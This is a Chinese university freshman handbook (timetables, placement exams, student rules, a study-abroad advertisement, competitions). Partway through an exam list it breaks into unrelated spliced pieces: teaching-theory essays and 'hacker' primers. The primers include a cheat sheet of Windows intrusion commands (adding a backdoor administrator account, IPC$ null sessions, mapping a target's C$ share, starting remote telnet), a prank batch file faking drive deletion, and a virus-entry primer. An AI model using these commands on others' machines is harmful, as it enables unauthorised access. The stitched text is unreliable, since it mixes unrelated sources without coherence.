学习成长新生手册
学习部分：
进入大学，学习依然是大学生活中最重要的一部分，提醒大家的是，在享受大学生活的同时，学习可千万不能落下噢！尤其是我们刚进入大学，千万不要把学习抛在脑后。平时多去上上自习，多往图书馆转悠转悠，拓宽自己的专业知识面，这些都是很有好处的。我们就作息时间、新生入学考试、学生管理、大型比赛、考试信息五个方面向大家作一下简单的介绍。
【一】【作息时间】：大学作为学习的场所，个人的时间掌握是很重要的，现将山东大学冬夏作息表附下
冬季作息时间表
（自国庆节假期开学至次年4月30日）
夏季作息时间表
（5月1至国庆节放假）
起床6:00 起床6:00
早饭6:30 早饭6:30
第一节8:00--8:50 第一节8:00--8:50 第二节9:00--9:50 第二节9:00--9:50 第三节10:10--11:00 第三节10:10--11:00 第四节11:10--12:00 第四节11:10--12:00 午饭12:00 午饭12:00
第五节13:30--14:20 第五节14:00--14:50 第六节14:30--15:20 第六节15:00--15:50 第七节15:30--16:20 第七节16:00--16:50 第八节16:30--17:20 第八节17:00--17:50 晚饭17:30 晚饭18:00
第九节18:30--19:20 第九节19:00--19:50 第十节19:30--20:20 第十节20:00--20:50 第十一节20:30--21:20 第十一节21:00--21:50 熄灯23:00 熄灯不熄灯
【二】【新生入学考试】
新生入学开始军训一个星期左右便会迎来同学们进入山大后的第一次考试，考试科目为高中数学和英语（难度中等偏上）。学校会根据这两项成绩进行选拔分班——卓越工程师班和普通班级。并根据英语成绩分英语二级、三级班。考试具体信息会由各班班代负责通知。
<一> 卓越工程师班选拔
建设创新型国家和实施人才强国战略，贯彻落实《国家中长期教育改革和发展规划纲要（2010-2020年）》和《国家中长期人才发展规划纲要（2010-2020年）》的重大改革项目，进一步拓宽工程教育视野，培养适应经济社会发展需要的具有创新能力的工程技术人才，山东大学作为教育部首批试点高校之一，自2010年启动实施“卓越工程师教育培养计划”。所谓卓越班就是学院选拔一批成绩突出的学生实行小班培养，配备优秀的任课教师并且每三位同学配备一名专门的导师，学院也会将教学资源向其倾斜。
一、培养模式与特色
1．基本学制4年，采用“3+1"模式，即在校学习3年，在企业学习实践和毕业设计累计1年，强化工程实践能力和应用能力培养。
2. 进入卓越班后，可以提交申请自愿选择退出卓越班回到普通班，但一旦退出便不能再回到卓越班，也就是说只有新生入学选拔一次机会。
3．学校对“卓越工程师教育培养计划”实验班学生实行学分制管理，学籍管理灵活机动。
4.“卓越班”配备优秀任课教师和专职导师。
二、选拔程序
1.报名：控制科学与工程学院新生均可报名，向本学院提交《山东大学“卓越工程师教育培养计划”实验班选拔申请表》。
2.笔试考核：一般要求是英语数学两科总分超过160分便可以进入面试阶段。
3.面试考核：由教务处和控制学院教授组成“卓越工程师教育培养计划”实验班选拔工作小组，负责学生选拔工作。根据报名人数由选拔工作小组对备选学生进行面试考核，提出入选名单，一般不超过50人。另外，考核内容主要是自动化方面的相关知识。
4.录取：根据面试和笔试成绩总和择优录取
三、卓越班优缺点分析
优点：毫无疑问卓越班的优势在于优秀教学资源的倾向，配备优秀的任课教师和专门的导师还会给予一定的研究经费，此外学校还会提供大量的企业实习机会，注重理论联系实际培养工程动手能力。
缺点：凡事都有两面性，由于卓越工程师计划才刚施行因而制度并不完善。首先，奖学金评定方面，卓越班会独立出来单独排名评定，竞争压力比较大。此外，研究生保外名额只有2个，一般保山大研究生的几率比较大，所以对于有保外意向的同学需要慎重考虑。关于详细介绍，会由学院举办座谈会给同学们系统讲解。
<二> 英语分级考试
新生入学后，举行全校新生英语分级考试，试题难度与高考试题相比稍高，略低于老四级考试，难度对于能正常考入山大的学生来说肯定不是太难，题型和高考以及老四级考试相似，题目顺序可能和高考不同，
新生可以查阅下-新四级考试题目的顺序，大概是作文-快速阅读-听力-阅读-完型-翻译这个顺序。对于一些基础好的同学来说，应该不是问题，但还是希望大家在入学后的几天里能抽出一定的时间，巩固一下自己的英语水平，扩大一些词汇量，找两套新老四级题看一下，做不好没关系，入学考试的难度比实际四级考试的难度还是要低的，主要使自己对题型熟悉不至于使自己又英语水平太生疏就行，这是个人建议。
至于分级的分数线是不固定的，每一年按照都会按照一定的比例划出新的分级线。
另外说下对分级考试的心态，这个考试就是为了分级教学而存在，没有什么重大意义。大家不要因为一入大学就有考试，弄得自己很紧张压力很大，个人觉得根据自己的英语水平进入相应的班学习还是比较合理的。现在简单介绍一下，以便大家能够正确的对待英语分级考试。
一、分级教学的原因
首先，我觉得分级教学有两个原因
第一，学生生源分布较广，入学时英语水平差别较大，分为两个级别上课，确实是因材施教，我们宿舍二三级班的都有，大家一起交流基本同意这个观点。
第二，《大学英语》中视听说教材共四册，读写教材共四册。四本课本的课文行文语法句法难度差别不大，主要是学习基本词汇和英语运用能力的积累，也就是说学《大学英语》是夯实自己英语基础的，所以按照英语基础决定到底学几册是很合理的。
二、二三级班的课程安排
分级教学后，二级班从大英第二册开始，按部就班，三学期学完三册；三级班从教材的第三册开始，两学期学完两册。三级班在学习完《大学英语》教材之后的学期，每个学期有两门英语后续课程（注意是两门）。教材是大外部自己编的，有英美文化，高级口语，英语影视欣赏，英美文学鉴赏，翻译实践，实用英语阅读实践，阅读与写作等等课程，内容和授课方式都很灵活新颖。换言之，大学英语仅学3个学期。
《大学英语》分为教室上课和网上学习两部分。教室上课分为视听说和读写两种，分别由两个老师教授。视听说主要是练习口语和听力，一学期一般有两次小测验，一般是1、听写单词。大家注意记课本上的单词，这还是很有必要的；2、口语提问。主要是课后pronunciation部分，一般提问前一节课老师会说明的。读写课主要是讲解课本内容，辅以一些课堂活动。网上学习主要是在大外部的英语网络教学平台上进行，视听说主要是完成教材上的outside view,listen in部分及一些口语听力题目；读写课主要是完成教材每一单元的测试题，另外每学一个单元老师会布置一篇网上作文。视听说、读写的网上学习可以周末在机房里进行，没有老师带领，以完成上机作业为目的。若是自己带了电脑，也可以在宿舍或讲学堂等其他有网的地方完成。
三、二三级英语班的细节上的区别
（1）上课
前面已经介绍了二三级班的课程安排的不同。再说一下三级班的后续课程，上课方式是由老师决定的，基本上都在教室进行。PS.《大英》是每个学期3个学分，其中听说一个学分，读写两个学分。每个星期两大节课。后续课程每个学期两门，每门2个学分，每门一个星期一大节。
（2）考试
英语的考试和其他大多数科目一样，考试由平时成绩和期末考试成绩两部分组成。平时成绩视听说主要是口语和出勤；读写主要是课堂上的一些小测验以及平时的出勤。不过这个两种班两种成绩所占的比例
是不一样的。二级班平时成绩大概占30%、三级班采取4321的评定方式期末考试占40%，学期PROJECT占30%，期中考试占20%，口语成绩10%,也会根据班级的不同有差异。而且两种班的期末考试题目不同，由二级到三级难度递增。提醒一下大家，英语学期PROJEC是大学英语很有特色的一种教学方式，平时大家要好好做。
（3）成绩
评定奖学金时，对二级班和三级会有一些特殊的政策。比如将他们的实际成绩乘以一定比例再算总绩点，比如二级班是原成绩的80%再加20分，三级班是原成绩的70%再加30分。其他的就没有影响了。
【三】【学生管理】
1.《学生手册》：大家入学通知书里带的《学生手册》是一本对山大学生非常有用的手册，里面详细介绍了山东大学的学籍管理规定、创新学分的认定办法，推免免试硕士研究生的工作实施办法，还有大家非常关心的奖学金管理办法，综合素质测评办法，优秀学生干部评选办法以及优秀班集体评选办法。关于助学贷款的要求和操作方法里面都有详细的介绍，有意向申请助学贷款的同学要仔细阅读。除此之外，还有一些惩处办法，大家不要以为进了大学想干什么就干什么，有一些事情还是绝对不能做的。与山大人密切相关的山大校园网的一些管理办法也在其中。这些文件是和我们每一个山大学生息息相关的，大家应该保管好这本手册，最好抽时间读一读一些很有用的规定，这对于我们大学该怎样做还是有一定的指导意义的，比如如果我想拿奖学金，想拿山大最好的校长奖学金，就要了解对于学习成绩以及素质发展的要求，这样自己可以更游刃有余的安排自己的生活。
2.关于选课：入学以后，大家还会面对一个比较麻烦的事就是选课。对选课大家不必担心，到时各院都会安排相应院的教务干事给大家详细讲解选课的注意事项。到时大家还会发一本《本科生选课指南》上边也会有详细介绍。大一上学期的课程没有选修课，大家选课时会方便很多，但是选课时大家最好多和身边的同学交流一下，防止出现一些其他问题。
而到了大一下学期，我们将要面对校内转专业，第二校园经历等，这时候上学期的成绩就会发挥一定的作用，所以大家先提前了解一下，很有好处。
3.关于转专业：凡我校全日制本科生，经过一年（个别专业为二年）的基础课程学习，各方面表现良好，符合接收专业对转入学生思想道德、知识能力、身心素质等要求，均可申请转专业学习。其中考试成绩年级（或专业）排名前１０％的学生可以免试转专业，其余的学生则通过自愿报名参加转专业考试，达到转专业要求的最低分数线者，在学校监督下由接收学院择优录取。学校承认由接收学院认定的、转入学生已修读的内容及难度相同或相近的基础课必修学分；已修读的其他课程，学校按素质通选课计入选修学分。对转入学生个别未修的专业基础课程，有条件的学院将利用暑期学校或其他方式为其单独开班补习；没有条件单独开班的学院，由学生自主补习，学院给予不同形式的辅导。学生转专业前要向拟转入学院提出咨询，对拟转入专业进行全面了解，慎重提出转专业申请，有关详情请见《山东大学关于在校本科生转专业学习的暂行规定》。
4．关于第二校园经历：大一下学期的时候会有第二校园经历的通知，有意经历第二校园的同学，要关注山大本科教务网站，每年的选派时间、各大学名额、访学时间长度、注意事项将在网上公布。关于第二校园经历的得失每个人都有自己的独特见解，到时候大家可以咨询一下有过经历的学长，而由此产生的学籍、课程等的变动需要每位同学认真了解清楚。
5.关于暑期学校：每年暑假山大都会举办暑期学校，开设的目的是为了提高学生的综合素质，全面提高人才培养质量，山东大学开设“暑期学校”作为正常教学的有益补充。暑期学校”的内容主要包含以下六个方面：讲座、培训、实践、实验、交流、双学位班／辅修班。详情请见山东大学网站上的暑期学校主页：http// 山大暑期学校对校内同学不收费，而且到时山大的学生公寓是开放的，因而每年都有不少同学会参加暑期学校的学习。
6.关于海外留学：山东大学国际教育经过数年的发展，现已积累了丰富的办学经验，在“国际教育本土化和国际教育国际化”等方面赢得社会广泛赞誉。其精心打造的德国留学公立大学高中生项目、西班牙留学名校升学计划、韩国留学高中生0.5+4、专科生0.5+2留学模式、香港留学八大名校直通车课程更是对希望享受优质教育资源的考生最理想的选择。学生根据自己的实际情况选择适合自己的学习模式。在山大进行为期半年至一年的语言和专业课学习后，直接入读海外大学，修满相应学分，获得海外大学的学士学位证书，其学历中国教育部认可。
如果自主申请海外留学，我们请教了专业的海外留学机构，为大家准备了一篇关于出国留学4年规划的短文，希望对大家有所帮助。
大学四年留学规划
对于刚刚跨入校门的你，是不是有些兴奋呢？抛下所有的背囊，开始一个崭新的你，come on，这里是梦想起航的地方！不过，天道留学专家还是要不合时宜的泼点冷水，胜利的亢奋和激动千万不要蒙蔽自己的双眼，今天的辉煌，未必是明天的胜利。大学的人生规划，你准备好了吗？
言归正传，四年后的你无论是工作、读研、还是留学，今天的脚印将注定您四年后的前程。留学无疑最能考验你的智慧和能力，如何打造一个具有国际竞争力的你呢，天道留学专家将为您规划最为宝贵的大学生活，为准备留学的童鞋们点燃一盏灯。
啊呀呀，开始上“干货”了。
天道留学专家告诉大家，无论就业、保研、还是留学，GPA（平均分）都是重要的参考指标，因此天道留学专家会“扯破喉咙”告诉大家那句毛爷爷在小学的时候就告诉我们的话：“好好学习，天天向上”，哈哈，是不是有点罗嗦。开始：
留学四掌第一重----大一
通天掌，规划职业目标、夯实基础。大一是从高中生向大学生的转变期，无论生活、学习都有了很大的差别，能否适应这个转变，尽快的适应大学生活是对我们的一个考验，很多学生在这个阶段迷失了。大一的成绩将决定很多接下来的规划，无论接下来去其他学校的交流机会，还是将来的保研，出国，大一的成绩都是个基础。所以呢，大家要适应转变，规划目标，选择专业和自己意向的留学国家和学校，做好准备。有的同学不耐烦了，我大一就想留学怎么办呢？天道留学专家告诉你可以转学、可以双录取，介于篇幅，留意天道留学的网站吧。
留学四掌第二重----大二
降龙十八掌，十八班武艺样样精通。大二的童鞋基本已经适应校园生活，课程相对也比较轻松，这个时候尽量多参加社团、社会以及社区服务等活动，这些是我们综合能力的体现，要知道国外大学更青睐那些具有丰富社会活动能力的家伙，而不是整天埋头苦读的书呆子。当然各种活动并非多多益善，能够在活动中扮演一个较为重要的角色才是关键的，国外的大学不会看你的活动证书而是看你是否真的在这些活动中得到提升。另外山大的三种经历，其中的第二校园经历还有社会经历都是不错的选择，寒暑假叫上朋友去做社会实践吧！另外在大二这个阶段，在能掌握好功课的前提下，适当的准备出国需要的各项考试也是必须
的哦，由于不同考试，其成绩的有效期不一样，考试时间并非越早越好。像GRE这类学术类考试，成绩有效期有五年，所以学生可以提前两三年进行考试，而托福、雅思等语言类考试的成绩有效期只有两年，所以建议学生在大三进行考试。当然这些考试可以多考几次以便考到理想的分数。
留学四掌第三重----大三
黯然销魂掌，大三是大学当中最忙碌的一年，大量的专业课学习、实验、实习、各种英语考试等等。所以，大三也是各位童鞋能力得到极大提升的一年。对于选择留学童鞋们，在这一年有两大要务：第一、语言及其它成绩，包括托福、雅思、GRE、GMAT等考试，这一年一定要有像样的语言成绩，越是申请名校语言成绩要求就越高，当然有些情况下，比如海外交流经验，学校也会有免语言成绩等政策。第二、学术科研能力提升，国外名校的录取方面GPA以及语言成绩只是录取的一方面，同样的硬件成绩下，我们的学术科研能力就显得很重要啦，所以，有机会大家一定要走进实验室，多做社会实践提升自己的专业背景，如果能发上一两篇论文就更好啦。经过前两年的积淀，理工科的同学在大三这年是出项目成果的时候了，对于商科等学科的学生一份好的实习也会在申请中显得尤为重要，不同专业的侧重点不同，在这里就不一一列举了，还是访问天道留学的网站吧。出国的同学在大三这一年也要开始着手去选择一家好的机构去完成申请。在这里提醒下，天道留学在前期规划等这方面的咨询是免费的，大家可以带着自己的疑问去咨询哦。
留学四掌第四重----大四
超级黯然销魂掌，大四是最最不容易的一年了，找工作、考研、出国、毕业论文、散伙饭全部都在这一年，伤身伤心又伤神啊。立志于走名校的同学们，要时刻留意各种资讯。从最初的选校选专业，像学校索取各种表格，准备相关成绩证明，文书的创作，介绍信，实习证明等。而且每个学校的申请要求都不尽相同，因为美国的申请基本分为三个阶段，准备充分的同学可以早早拿到心仪的offer。因为限于篇幅这个繁杂的过程在此没法展开，详情去天道留学的网站猛击吧。
小编的四掌已经打完了，希望对童鞋们有所帮助，不是什么武林绝学，皮毛而已，不要崇拜我啊！关于留学是个很专业的活，一着不慎，满盘皆输啊。如果需要留学咨询，门口坐上K52到黑虎泉南这站圣凯财富广场328等你的到来。天道留学免费咨询电话：0
【四】【大型比赛】
大学里会有很多比赛，这些比赛极大地丰富了大学生的课余生活，很多学术比赛对我们大学生的能力提升有很大的帮助，先将一些大型的比赛列举如下，有兴趣的同学可以选择自己想参加的比赛，开拓创新，为自己的大学生活增添乐趣。
①比赛名称：诺基亚青年创意大赛
比赛时间：一月份
举办单位：中华全国青年联合会、中国光华科技基金会和诺基亚（中国）投资有限公司联合举办
比赛简介：该项目本着“青年创业，成就未来”的宗旨，以培养大学生创业意识、提升大学生创业能力为目的，主要由“青年创业大讲堂”、“青年创业培训”、“创意?创业计划大赛”、“青年创业基金资助”、“青年创业扶持”等环节组成。
②比赛名称：全国大学生创业大赛
比赛时间：一月份举办单位：教育部
比赛简介：由四名学生组成的虚拟创业团队将以创业计划书为基准，采用“电子对抗系统”结合“EPR 管理软件”信心化环境为竞赛平台展开激烈的“创业之星”大角逐。
③比赛名称：国家大学生创新性实验计划立项
比赛时间：三月份举办单位：山东大学教务处
比赛简介：包括网上评审、现场答辩两部分，根据检查结果对项目划分等级，并按照等级分配中期检查之后的第二批经费。
④比赛名称：山东省大学生智能车竞赛
比赛时间：五月份举办单位：山东省教育厅、山东省自动化研究学会
比赛简介：以智能车为研究对象的创意性科技竞赛，是面向山东省大学生的一种具有探索性工程实践活动，是教育部倡导的大学生科技竞赛之一，旨在培养大学生的综合知识运用能力、基本工程实践能力和创新意识，倡导理论联系实际、求真务实的学风和团队协作的人文精神。
⑤比赛名称：山东大学科技创新大赛
比赛时间：五月份举办单位：山东大学教务处、工程训练中心
比赛简介：鼓励和培养大学生的科技创新精神，提高科学技术转化为生产力的实际能力和全面素质，激励大学生刻苦学习，奋发成才。主要比赛的是科技创新制作（包括实物、模型、样机、机器人等）
⑥比赛名称：全国大学生电子设计竞赛
比赛时间：五月份开始到八月份结束
比赛简介：全国大学生电子竞赛是面向全国大学生的群众性科技活动开展最好的活动之一，每年参赛学校核参赛学生以10%以上的速率递增。山东大学近三年就投入100万元建设了2间电子设计创新试验室（约100平方米），该项赛事每逢单数年举办，即每两年举办一次。
⑦比赛名称：全国CCTV大学生机器人大赛
比赛时间：一般为每一年的7、8月份
比赛简介：全国CCTV大学生机器人大赛是由中央电视台参与、亚广联（ABU）组织的大学生机器人电视大赛。每年一届，坚持长远。目的是为了培养和开发全国大学生的聪明才智与创新精神。全国大学生机器人电视大赛的口号是“让思维行动起来，让智慧沸腾起来”。
⑧比赛名称：全国大学生数学建模竞赛
比赛时间：九月份
比赛简介：数模竞赛是由美国工业与应用数学学会在1985年发起的一项大学生竞赛活动，目的是促进数模的教学，培养学生应用数学的能力。我国在1992年起开展这项竞赛，现已形成一项全国性的竞赛活动。竞赛内容包括数学知识的应用能力、计算机的运用能力、论文的写作能力、团队合作。
⑨比赛名称：全国大学生物流设计大赛
比赛时间：第一年的11月份到次年的4月份主办单位：教育部
比赛简介：实现物流教学与时间相结合，提高大学生实际动手能力、策划能力、协调组织能力，促进大学物流人才培养模式的改革，激励社会群众宣传普及物流知识的平台，更好的发现物流人才。
⑩比赛名称：山东大学英语主持人大赛
比赛时间：十一月下旬
举办单位：山东大学教务处、山东大学党委宣传处、山东大学团委、山东大学大外部
比赛简介：旨在激发同学们的英语学习热情，为学校非英语专业的广大学生提供一个充分展示自己英语水平以及互相学习、共同提高的平台。
?比赛名称：挑战杯
比赛时间：十一月份初赛次年的三月份复赛举办单位：共青团中央、教育部
比赛简介：“挑战杯”全国大学生课外学术科技作品竞赛是由共青团中央、中国科协、教育部、全国学联主办的大学生课外学术科技活动中一项具有导向性、示范性和群众性的竞赛活动，被誉为中国大学生科技“奥林匹克”。
○12比赛名称：山东大学国学经典诵读大赛
比赛时间：十二月份上旬举办单位：山东大学团委
比赛简介：旨在弘扬传统文化，丰富大学生活，感悟国学经典，提高人文素质和道德修养，同时提高同学们的表达能力和演讲水平。
○13比赛名称：“飞思卡尔杯”大学生智能车大赛
比赛时间：一般为12月份报名，次年3月至6月份调车，7月份各赛区比赛，8月份决赛
举办单位：教育部高等自动化专业委员会教学指导分委员会
比赛简介：“飞思卡尔”杯全国大学生智能汽车竞赛是由高等学校自动化专业教学指导分委员会受教育部高等教育司委托主办的。目的是加强大学生实践、创新能力和团队精神的培养，促进高等教育教学改革。该竞赛是涵盖了控制、模式识别、传感技术、电子、电气、计算机、机械等多个学科的科技创意性比赛。飞思卡尔半导体公司提供参赛队的标准硬、软件技术平台及竞赛优胜者奖金。
【五】【考试信息】
在大学里有一些考试是非常重要的，一些证书也是我们大学想继续深造所必不可少的，对于某些方面有爱好的同学要特备留意相应的考试时间，现列举一些比较常见的重要的考试信息供大家参考。
一月考试表
硕士研究生入学考试
黑客基础知识
前言:你是不是很想做黑客呢?是不是经常周游于各个黑客站点呢?学黑客是真的很难的!它需要你有足够的耐性!毅力!只有持之以恒才能有所成就!好了~灌了那么多的水,下面就开始吧!注意:本文只适合新手!已入门的请去看别的技术文章吧!下面就用我仅仅知道的知识让你们取得第一次的成功吧!\\操作系统拜托你装个2000的好不好?不要再问为什么了~\\(本文注释用"\\注释内容\\"标记! 第一节课:命令的使用 你必须懂得一些命令才能更好地运用!总不能一边入侵一边去看例文吧!(什么?你喜欢?我晕了~)好了~下面就看看一些常用的命令吧!也就是入侵必须懂得的基本命令!如果你连这都栏得看的话你就可以放学了~放你的长假去吧! https://www.360docs.net/doc/3a7677771.html, NET [ ACCOUNTS │COMPUTER │CONFIG │CONTINUE │FILE │GROUP │HELP │ HELPMSG │LOCALGROUP │NAME │PAUSE │PRINT │SEND │SESSION │ SHARE │START │STA TISTICS │STOP │TIME │USE │USER │VIEW ] 上面就是net命令.你可以在cmd下键入net/?获得.我们看看一些常用的. net user \\列举所有用户\\ 例子:c:\>net user net localgroup \\把用户分组\\ 例子:c:\>net localgroup administrators guest /add \\把guest 用户加到管理组.需要有足够的权限才能进行操作!\\ net share \\显示共享资源\\ 例子:c:\>net share net start \\启动服务，或显示已启动服务的列表\\ 例子:\>net start 例子:\>net start telnet \\启动telnet\\ net stop \\停止Windows2000网络服务\\ 例子c:\>net stop telnet \\停止telnet服务\\ net time \\显示时间\\ 例子:c:\>net time 127.0.0.1 \\显示127.0.0.1的时间\\ net use \\显示关于计算机连接的信息\\ 例子:c:\>net use net view \\显示域列表、计算机列表或者由指定计算机共享的资源\\ 例子:c:\>net view net的基本命令就到此结束吧!但并不是说其它的命令不用去学!只是我的基本教学(入侵)
构建“学本式成长课堂”的实践研究体会
构建“学本式成长课堂”的实践研究体会 宁安四小崔晓华 目前，我们牡丹江市小学课堂教学，正在推进和构建“学本式成长课堂”的实践研究,以学生为本的“学本式成长课堂”，成为了教学研究全新的切入点。下面我来谈谈对“学本式成长课堂”的认识和体会。 一、学本式成长课堂的内涵 1. 学本式成长课堂，是指以学生学习为本的课堂。学本课堂就是教师和学生协同合作，共同围绕着核心问题开展自主性的探究学习，在单位时间内解决问题，实现学习目标，促进教师和学生共同成长的学习活动。在师生关系方面，有别于教本课堂，师生关系不是上对下的长幼关系、授受关系，而是真正意义上的民主、平等、人文和谐的发展关系。师生为了共同的目标而相互合作，相互帮助，追求的是一种真学习。在教学关系方面，师生之间不是那种传授和告知关系，而是合作学习，共同建构知识，发展能力的关系。师生共同创建小组合作团队学习机制，创建人文、自由、开放、多元、灿烂的学习氛围，让学生实现真实、自由、自主的阳光学习。通过学本课堂学习，最终目的是让每位学生的生命得到精彩绽放。 2. 学本式成长课堂的教学目的。从概念上来看就是以学生的学习为本，教学教什么？不是教知识，而是教学生学习。教师的职能是：组织、引导、指点、帮助学生更好更快建构知识，而不是代替学生学习给学生传授知识。
学本式成长课堂以“问题”解决为任务。师生共同围绕“问题”开展自主、合作、探究学习，“问题”成为教与学活动的主线，实现以“问题”为中心的学习。 3. 学本式成长课堂教和学的关系。 ⑴不学不教：学放在教前，教放在学后，没有学生的学，就没有教师的教，要改变教师先讲，学生再学、再做的传统“教学”。 搭建了解放学生的平台，让学生成长为解决问题的主人。学本式成长课堂注重学生学习能力的培养，尤其是培养学生预习、自主学习、合作探究、问题发现生成、问题解决等能力。将学习还给学生，将方法教给学生。 ⑵以学定教：根据学生的学来确定教什么和怎样教。搭建了思维绽放的平台，让学生成长为展示对话的主人。学本式成长课堂注重展示对话学习方法，创建“说的课堂”，通过生生对话、师生对话来解决问题，建构知识，培养能力，发展情感，在单位时间内完成学习任务，激活了每个学生的思维潜能，培养了学生的科学思辨能力，最终使每个学生都能言善辩，富有较强的语言表达能力。 ⑶以教促学：教是学的手段，学是教的目的；教是为了促进学，是为了更好地学。 搭建了团队成长的平台，让学生成长为合作学习的主人。学本式成长课堂注重小组合作团队学习机制建设，在角色上进行了大胆创新，使每位同学都成为合作学习的主人，为小组和班级全体成员的合作成功搭建了良好的学习平台。
黑客常用CMD命令大全
黑客常用CMD命令大全 net user heibai lovechina /add 加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add 把他加入Administrator组 net start telnet 开对方的TELNET服务 net use z:\127.0.0.1c$ 映射对方的C盘 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: \\ip\c$ 登陆后映射对方C：到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名密码/add 建立用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net user guest /active:yes 将Guest用户激活 net user guest lovechina 把guest的密码改为lovechina net user 用户名/delete 删掉用户 net user guest/time:m-f,08:00-17:00 表示guest用户登录时间为周一至周五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00. net user guest/time:all表示没有时间限制. net user guest/time 表示guest用户永远不能登录. 但是只能限制登陆时间，不是上网时间 net time \\127.0.0.1 得到对方的时间， get c:\index.htm d:\ 上传的文件是INDEX.HTM，它位于C:\下，传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm 本地C盘下的index.htm复制到 127.0.0.1的C盘 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务；(如:net start telnet，net start schedule) net stop 服务名停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数 /yes可取消确认信息net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置
何为学本课堂_韩立福
2014.16 PEOPLE'S EDUCATION 5 学本课堂 韩立福 何为学本课堂 ●理论建构 我们把学生、教师的生命活力融入课堂时，课堂也被赋予了生命活力，因此， 我们可以将课堂视为一个动态生命体。它将随着学生身心发展、认知发展而不断发展和成熟。也就是说，课堂生命体将随着学生身心发展规律和认知发展规律，逐步从教师以传递和控制为中心的“教本”课堂，走向以师生（都是学习者）合作学习为中心的“学本”课堂。从发展规律上看，一个人一生的学习生涯将经历从“教师讲授型教本课堂”，逐步走向“教师导学型教本课堂”，再逐步走向“问题导学型学本课堂”，最后达成“自我导学型学本课堂”。在这个过程中，教育越来越回归本质——实现自我教育，教学也越来越回归本质——学会学习。 “学本”即以学习者学习为中心。“学本课堂观”充分相信学生的学习潜力，当学生在教师指导下学会自主合作探究学习以后，教师和学生将以平等的身份共同开展学习活动，实现学习目标。“学本课堂观”认为教师和学生是课堂学习同一个主体的两个方面。性质上是一样的，只是作用上有所区别，区别在于显性和隐形。当学生年龄小、认知能力有限、知识储备少时，学生是隐形主体，教师是显性主体；随着学生年龄变大、认知能力逐步增强、知识储备逐步增多时，学生由隐形主体逐步走向显性主体，教师则转变 为隐形主体。当学生最终真正学会学习、具备学习能力，甚至超过教师时，教师和学生变成同一主体，不再为谁为主体而纠结了。 “学本”课堂强调学生在教师指导下逐步学会学习，充分发挥自我潜能，通过自主建构学习、合作建构学习等过程，共同实现学习目标。所以，“学本”课堂是在问题引领下师生共同开展自主合作探究学习，在单位时间内解决问题、完成学习任务、实现学习目标的课堂。这种课堂中没有等级、辈分，也没有恐吓、紧张、消极，而是面向全体，促进学生主动发展、全面发展和个性发展，从而从根本上体现教育的公平与公正。“学本课堂观”的形成有着文化基础和理论基础。我国古代文化中追求自然教育、遵循人的身心发展规律的主张是其文化基础；西方人本主义教育思想和建构主义学习理论为“学本课堂观”提供了坚实的理论基础。 “学本”课堂包含两重境界。开始阶段是“问题导学型学本课堂”，随着学生学习能力、教师导学能力的不断提升，逐步走向“自我导学型学本课堂”。在中小学阶段倡导的 是“问题导学型学本课堂”， 它以问题学习、解决为特征，目的是培养学生自主合作探究 当
初级黑客技巧
掌握这些电脑知识，你可以玩的很无耻一.找回误删并清除了回收站的文档 步骤： 1、单击“开始——运行，然后输入regedit (打开注册表) 2、依次展开：HEKEY——LOCAL——MACHIME/SOFTWARE/microsoft/WINDOWS/ CURRENTVERSION/EXPLORER/DESKTOP/NAMESPACE 在左边空白外点击“新建”，选择：“主键”，把它命名为“645FFO40——5081——101B——9F08——00AA002F954E” 再把右边的“默认”的主键的键值设为“回收站”，然后退出注册表。就OK啦。 3、要重启你的计算机。 只要你机器没有运行过磁盘整理。系统完好.任何时候的文件都可以找回来。 稽查局就是用这种方法在公司电脑里查到了销售清单，才发现我们偷税的) 二.最简单的隐藏文件夹方法(别人绝对找不到) 隐藏的方法如下： eg:现需隐藏e盘bak目录下的tools文件夹e:\bak\tools 运行：cmd 键入：attrib s a h r e:\bak\tools 然后，你再进去看e盘bak目录下，是否还有tools这个文件夹! 这样就做到了真正的隐藏，不管你是否显示隐藏文件，此文件夹都看不见 自己需要访问的时候怎么办? 打开我的电脑---键入e:\bak\tools就可以直接进入，条件是，你必须要记得自己的隐藏文件夹名(切记) 现在需要取消该隐藏文件夹，命令如下：
运行：cmd 键入：attrib -a -s -h -r e:\bak\tools 进入e盘bak目录下，会发现tools文件夹显示出来了 如果你想要真正隐藏文件夹，还是按上面说的比较保险。 (至于放什么，放在哪就是你的问题了，千万别说我把你教坏哦) PS:“隐藏文件”方法有点实用，采用此方法隐藏后，只要在“我的电脑”-工具-文件夹选项-查看-“隐藏受保护的操作系统文件”前的√除掉-确定，隐藏的文件将被显示出来。 真正防止别人阅览的好方法是借助软件设密码加密。(在此向指点本菜鸟的同志致敬!~) 三.防止别人趁你不在的时候开你的电脑 @ color 4f @echo off echo 删除计算机的C盘的所有文件...... ping -n 2 >nul echo 已删除完毕 echo. echo 删除计算机的D盘的所有文件...... ping -n 2 >nul echo 已删除完毕 echo. echo. echo 删除计算机的E盘的所有文件...... ping -n 2 >nul echo 已删除完毕
黑客必备病毒知识
网络时代可不 太平，谁没有 遭遇过病毒或 木马?从CIH、 I Love You到 红色代码、 Nimda，从 BO到冰河， 无一不是网友 经常懈逅的对 象。怎么避免 这些“艳遇” 是广大用户孜 孜以求的目标， 不过，“道高 一尺，魔高一 丈”，“防” 永远是落后的， 主动消灭它们 才是积极主动 的。 要消灭它们，首先就要掌握病毒及木马是怎么入侵我们的"爱机"的。有关病毒及 木马的入侵招数的文章很多，但都不太全面，编者偶然间发现了一篇作者不详，但内 容颇为全面的文章，特意整理出来，希望对大家有所帮助。 一、修改批处理 很古老的方法，但仍有人使用。一般通过修改下列三个文件来作案： Autoexec.bat(自动批处理，在引导系统时执行)
